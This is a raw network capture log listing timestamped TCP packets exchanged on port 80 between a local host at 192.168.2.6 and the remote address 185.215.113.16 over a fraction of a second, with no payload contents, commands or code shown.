Oct 24, 2024 09:07:30.192706108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192717075 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192723036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192758083 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192774057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192789078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192831993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192924976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192940950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192956924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192972898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192989111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193006039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193006039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193006039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193039894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193046093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193063021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193078995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193089962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193120956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193185091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193209887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193226099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193240881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193259001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193272114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193285942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193288088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193308115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193315029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193320990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193324089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193340063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193351030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193372011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193475008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193500042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193527937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193624020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193639040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193655014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193672895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193679094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193685055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193701029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193701029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193716049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193732023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193733931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193747997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193754911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193766117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193772078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193809032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193845034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193861961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193885088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193902016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193917036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.193933010 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193959951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.193998098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194010973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194025040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194041014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194067001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194076061 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194083929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194102049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194118023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194123030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194132090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194144964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194149017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194166899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194171906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194183111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194211960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194228888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194267035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194387913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194403887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194418907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194437027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194451094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194484949 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194503069 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194545984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194561005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194582939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194597960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194612026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194613934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194628954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194644928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194652081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194660902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194674969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194678068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194695950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194705009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194711924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194729090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194736004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194776058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194811106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194824934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194839954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194849014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194895029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.194947004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194962025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194973946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.194988966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195005894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195014954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195030928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195033073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195060968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195079088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195101976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195116997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195121050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195135117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195158005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195163965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195174932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195189953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195204973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195204973 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195220947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195239067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195240974 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195255041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195266962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195274115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195291996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195291996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195357084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195410967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195574999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195600033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195616007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195632935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195647955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195664883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195666075 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195682049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195684910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195703983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195746899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195760965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195776939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.195792913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.195825100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.196698904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.197119951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.236717939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.236772060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.236821890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.236855984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.236888885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.236941099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.236974955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.237009048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.237040043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.237040997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.237041950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.237073898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.237109900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.237123966 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.237143993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.237198114 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.283488035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.283523083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.283555984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.283698082 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.308660984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308687925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308702946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308764935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308779955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308789015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308805943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308828115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308841944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308909893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308923006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.308923006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.308932066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.308923960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.308923960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.308923960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.308950901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309042931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309058905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309071064 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309076071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309092999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309096098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309112072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309119940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309128046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309145927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309159040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309195995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309195995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309216022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309230089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309243917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309259892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309282064 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309303999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309319019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309335947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309354067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309367895 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309398890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309422016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309437037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309451103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309474945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309489965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309499979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309508085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309519053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309545040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309576035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309592009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309636116 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309726954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309742928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309763908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309779882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309793949 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309799910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309815884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309828997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309833050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309848070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309851885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309866905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309885979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309931040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309940100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309956074 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.309956074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309973955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.309990883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310008049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310049057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310091972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310107946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310123920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310138941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310156107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310173035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310187101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310187101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310189009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310213089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310246944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310261965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310297012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310390949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310412884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310430050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310439110 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310446024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310461998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310477972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310483932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310492992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310503960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310512066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310529947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310545921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310544968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310561895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310565948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310580015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310595036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310614109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310635090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310669899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310686111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310731888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310837030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310852051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310868025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310883999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310900927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310909986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310918093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310934067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310935020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310950041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310966969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310970068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.310983896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.310988903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311032057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311075926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311091900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311108112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311121941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311139107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311153889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311168909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311183929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311188936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311208010 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311239004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311326981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311420918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311435938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311451912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311466932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311482906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311491966 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311500072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311511993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311518908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311532974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311547995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311547041 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311564922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311579943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311589956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311597109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.311611891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.311613083 CEST	80	49772	185.215.113.16	192.168.2.6
